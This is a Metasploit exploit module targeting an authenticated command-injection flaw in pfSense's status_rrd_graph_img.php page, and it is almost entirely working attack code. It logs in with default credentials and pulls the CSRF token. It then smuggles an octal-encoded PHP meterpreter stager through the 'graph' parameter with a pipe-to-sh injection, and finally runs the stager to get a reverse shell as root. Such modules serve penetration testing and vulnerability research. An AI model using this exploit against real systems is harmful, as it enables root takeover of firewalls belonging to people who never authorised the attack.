pfSense 2.1.3-RELEASE (amd64) Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pfSense authenticated graph status RCE',  
'Description' => %q(  
pfSense, a free BSD based open source firewall distribution,  
version <= 2.2.6 contains a remote command execution  
vulnerability post authentication in the _rrd_graph_img.php page.  
The vulnerability occurs via the graph GET parameter. A non-administrative  
authenticated attacker can inject arbitrary operating system commands  
and execute them as the root user. Verified against 2.1.3.  
),  
'Author' =>  
[  
'Security-Assessment.com', # discovery  
'Milton Valencia (wetw0rk)', # metasploit module  
'Jared Stephens (mvrk)', # python script  
],  
'References' =>  
[  
[ 'EDB', '39709' ],  
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']  
],  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'SSL' => true,  
'Encoder' => 'php/base64',  
'PAYLOAD' => 'php/meterpreter/reverse_tcp',  
},  
  
'DisclosureDate' => 'Apr 18, 2016',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic Target', { }]],  
'DefaultTarget' => 0,  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),  
Opt::RPORT(443)  
], self.class  
)  
end  
  
def login  
  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'GET'  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200  
  
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?  
vprint_status("CSRF Token for login: #{csrf}")  
  
cookie = "PHPSESSID=#{res.get_cookies_parsed['PHPSESSID'][0]}; cookie_test=#{res.get_cookies_parsed['cookie_test'][0]};"  
  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'POST',  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',  
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Accept-Encoding' => 'gzip, deflate',  
'Referer' => "https://#{rhost}/index.php",  
'Cookie' => cookie,  
'Connection' => 'close',  
'Upgrade-Insecure-Requests' => '1',  
},  
'vars_post' => {  
'__csrf_magic' => csrf,  
'usernamefld' => datastore['USERNAME'],  
'passwordfld' => datastore['PASSWORD'],  
'login' => 'Login'  
}  
)  
  
unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")  
end  
if res.code == 302  
print_status('Authentication successful continuing exploitation')  
return cookie  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")  
return nil  
end  
end  
  
def exploit  
begin  
cookie = login  
filename = Rex::Text.to_rand_case("PaasdnatEoomaBb")  
  
# generate the PHP meterpreter payload  
stager = "echo \'<?php "  
stager << payload.encode  
stager << "?>\' > #{filename}"  
# here we begin the encoding process to  
# convert the payload to octal! Ugly code  
# don't look  
complete_stage = ""  
for i in 0..(stager.length()-1)  
complete_stage << "\\#{stager[i].ord.to_s(8)}"  
end  
  
print_status("Attempting to upload the initial payload as #{filename}")  
res = send_request_raw(  
'uri' => "/status_rrd_graph_img.php?database=-throughput.rrd&graph=file|printf%20%27#{complete_stage}%27|sh|echo",  
'method' => 'GET',  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',  
'Accept' => '*/*',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Accept-Encoding' => 'gzip, deflate',  
'Origin' => 'null',  
'Cookie' => cookie,  
'Connection' => 'close',  
}  
)  
  
if res && res.code == 200  
print_good("Triggering the vulnerability, root shell incoming...")  
else  
print_error("Failed upload the initial payload...")  
end  
  
res = send_request_cgi({  
'uri' => '/status_rrd_graph_img.php',  
'method' => 'GET',  
'headers' => {  
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',  
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Accept-Encoding' => 'gzip, deflate',  
'Cookie' => cookie,  
'Connection' => 'close',  
'Upgrade-Insecure-Requests' => '1',  
},  
'vars_get' => {  
'database' => '-throughput.rrd',  
'graph' => "file|php #{filename}|echo #"  
}  
})  
disconnect  
end  
end  
end  
`